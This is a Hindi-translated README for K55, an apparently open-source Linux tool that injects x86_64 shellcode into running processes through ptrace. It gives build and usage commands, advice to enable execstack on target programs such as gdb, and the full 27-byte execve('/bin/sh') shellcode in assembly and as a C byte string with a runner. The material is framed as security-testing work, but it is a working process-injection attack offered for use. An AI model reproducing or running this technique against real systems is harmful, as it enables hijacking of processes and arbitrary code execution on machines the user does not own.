
(उच्चारण: "kay fifty-five")
K55 पेलोड इंजेक्शन टूल का उपयोग x86_64 शेलकोड पेलोड को चल रही प्रक्रियाओं में इंजेक्ट करने के लिए किया जाता है। यह उपयोगिता आधुनिक C++11 तकनीकों के साथ-साथ कुछ पारंपरिक C लिनक्स फ़ंक्शन जैसे ptrace() का उपयोग करके विकसित की गई है। लक्ष्य प्रक्रिया में उत्पन्न शेलकोड 27 बाइट्स का है और यह लक्ष्य के एड्रेस स्पेस के भीतर /bin/sh (एक बैश शेल उत्पन्न करता है) को निष्पादित करता है। भविष्य में, मैं उपयोगकर्ताओं को कमांड लाइन आर्गुमेंट्स के माध्यम से अपना स्वयं का शेलकोड इनपुट करने की अनुमति दूंगा।
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUsage: ./K55 <process-name>
r-xp या execstack अनुमतियाँ हों। परीक्षण 1) एक टर्मिनल (K55/ निर्देशिका) में, चलाएँ: ./k55_example_process/k55_test_process
परीक्षण 2) दूसरे टर्मिनल में, इंजेक्टर चलाएँ: sudo ./K55 k55_test_process
स्पष्ट रूप से, ptrace(PTRACE_POKETEXT...) कॉल्स सबसे अधिक छिपी हुई नहीं हैं। इसलिए, कुछ अनुप्रयोग K55 के प्रभाव को सीमित कर सकते हैं। हालांकि, सुरक्षा परीक्षण के लिए, सुनिश्चित करें कि आप अपने लक्ष्य अनुप्रयोगों के लिए execstack चालू करें। उदाहरण के लिए, यदि मैं gdb पर परीक्षण कर रहा हूँ, इंजेक्ट करने से पहले, मैं निम्नलिखित चलाऊंगा: sudo execstack -s /usr/bin/gdb। अपने वितरण के पैकेज मैनेजर से execstack स्थापित करें। आर्क लिनक्स उपयोगकर्ताओं के लिए, आप execstack को AUR पर पा सकते हैं।
नोट: निम्नलिखित एक प्रदर्शन है। पेलोड स्ट्रिंग पहले से K55 में हार्डकोड की गई है।
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
MIT लाइसेंस
Copyright (c) Josh Schiavone